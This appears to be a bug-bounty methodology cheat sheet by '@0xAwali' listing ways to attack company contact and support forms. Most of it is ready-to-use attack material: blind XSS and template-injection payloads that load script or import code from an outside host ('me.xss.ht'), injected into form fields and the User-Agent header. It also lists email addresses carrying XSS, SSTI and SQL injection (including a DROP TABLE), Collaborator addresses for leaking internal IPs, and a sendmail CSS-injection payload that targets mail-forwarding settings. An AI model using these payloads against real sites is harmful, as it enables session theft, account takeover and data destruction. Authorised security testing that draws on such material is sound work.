



Contact

Support Of The Company

Mahmoud M. Awali

 **@0xAwali**



attacker

My Methodology

Try To Inject **Blind XSS Payloads** e.g. `"><script src=https://me.xss.ht></script>`
In All Field To Get BXSS

-  Writeup
-  Writeup
-  Slides

```
POST /contact HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number
```

```
email=me@gmail.com&title="><script
src=https://me.xss.ht></script>&message="><script
src=https://me.xss.ht></script>
```



attacker

My Methodology

Try To Inject **Blind Template Injection Payloads** e.g.

{{constructor.constructor('import("http://me.xss.ht")'())}} On All Field To Get Blind XSS On The Admin Panel



Tweet

```
POST /contact HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: Number
```

```
email=me@gmail.com&title={{constructor.constructor('import("http://me.xss.ht")'())}}&message={{constructor.constructor('import("http://me.xss.ht")'())}}
```



attacker

My Methodology

Try To Inject **Blind Template Injection Payloads** e.g. `">` On All Field To Get SSTI



Tweet

```
POST /contact HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: Number
```

```
email=me@gmail.com&title="><img
src=https://me.xss.ht/${{7*7}}.jpg">&message="><img
src=https://me.xss.ht/${{7*7}}.jpg">
```



attacker

My Methodology

Try To Inject **Blind XSS OR XSS Payloads** e.g. `<object data=data:text/html;base64,BXSS OR XSS Base64 Encoding></object>?` In Body Of Message To Get XSS



Writeup

```
POST /contact HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number
```

```
email=me@gmail.com&title=Issue&meassage=<object  
data=data:text/html;base64,lj48aW1nIHNyYz0vL21lLnhzc  
y5odD4=></object>?
```



attacker

My Methodology

Try To Contact Support Of The Company By Using This List With **Burp Collaborator Mail Address** To Get Backend Information OR Internal IPs

-  Slides

-  Tweet

-  Tweet

-  Video

-  Blog

```
me@id.collaborator.net
user(;me@id.collaborator.net)@gmail.com
me@id.collaborator.net(@gmail.com)
me+(@gmail.com)@id.collaborator.net
<me@id.collaborator.net>user@gmail.com
```



attacker

My Methodology

Try To Contact Support Of The Company By Using [This List Of Payloads As Email Addresses](#) To Get XSS , SSTI , SQLi OR Abusing Of Database

-  Tweet
-  Tweet
-  Tweet
-  Video
-  Writeup

```
me+(<script>alert(0)</script>)<script>@gmail.com
me(<script>alert(0)</script>)<script>@gmail.com
me@gmail(<script>alert(0)</script>).com
"<script>alert(0)</script>"@gmail.com
"<%= 7 * 7 %>"@gmail.com
me+(${7*7})@gmail.com
"" OR 1=1 -- ""@gmail.com
"me); DROP TABLE users;--"@gmail.com
me@[id.collaborator.net]
%<script>alert(0)</script>@gmail.com
```



attacker

My Methodology

While Contacting Support Of The Company , Try To **Replace User Agent Header To Blind XSS** e.g. **User-Agent: "><script src=https://me.xss.ht/"></script>");** OR Use **BurpBXSS**

-  Tweet

-  Tweet

```
POST /contact HTTP/1.1
Host: www.company.com
User-Agent: "><script src=https://me.xss.ht/"></script>");
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

email=me@gmail.com&title=issue&meassage=hi
```




attacker

My Methodology

While Contacting Support Of The Company Try To **Use Race Condition Technique** To Send Multiple Message



1

Writeup

Steps to produce :-

- 1 - **While Sending** Try To **Intercept** The Request
- 2 - Send To Turbo Intruder
- 3 - Use **Race File** To Do Race Condition



attacker

My Methodology

If You Can't Find The Contact Form Try To Use Admin Email Then Inject **Blind XSS**
OR **XSS Payloads By Using Sendmail Tool In Linux**



Writeup

Steps to produce :-

- 1 - Open Your Terminal
- 2 - Cat payload.txt

```
From: j0uk0@k1nk4r1n
To: j0uk0@hey.com
Subject: HackerOne test
MIME-Version: 1.0
Content-type: text/html
```

```
<style>
url('00001c000027message-content00001c00001ctemplate00001c00001cstyle00001cxxx');
url('00001c00001c00001c00001c00001c00001cmessage-content00001c00001cform00001caction=mysa
ccounts/2000000forwardingsinbound00001cdata-controller=action00001c00001cinput00001ctype=txt00001cname=contact_1_
ubound_forwarding0c_email_address00001cvalue=j0uk0p@gmail.com00001c00001cform00001cxxx');
</style>
```

- 3 - sendmail -t < payload.txt

Thank You

Mahmoud M. Awali

 **@0xAwali**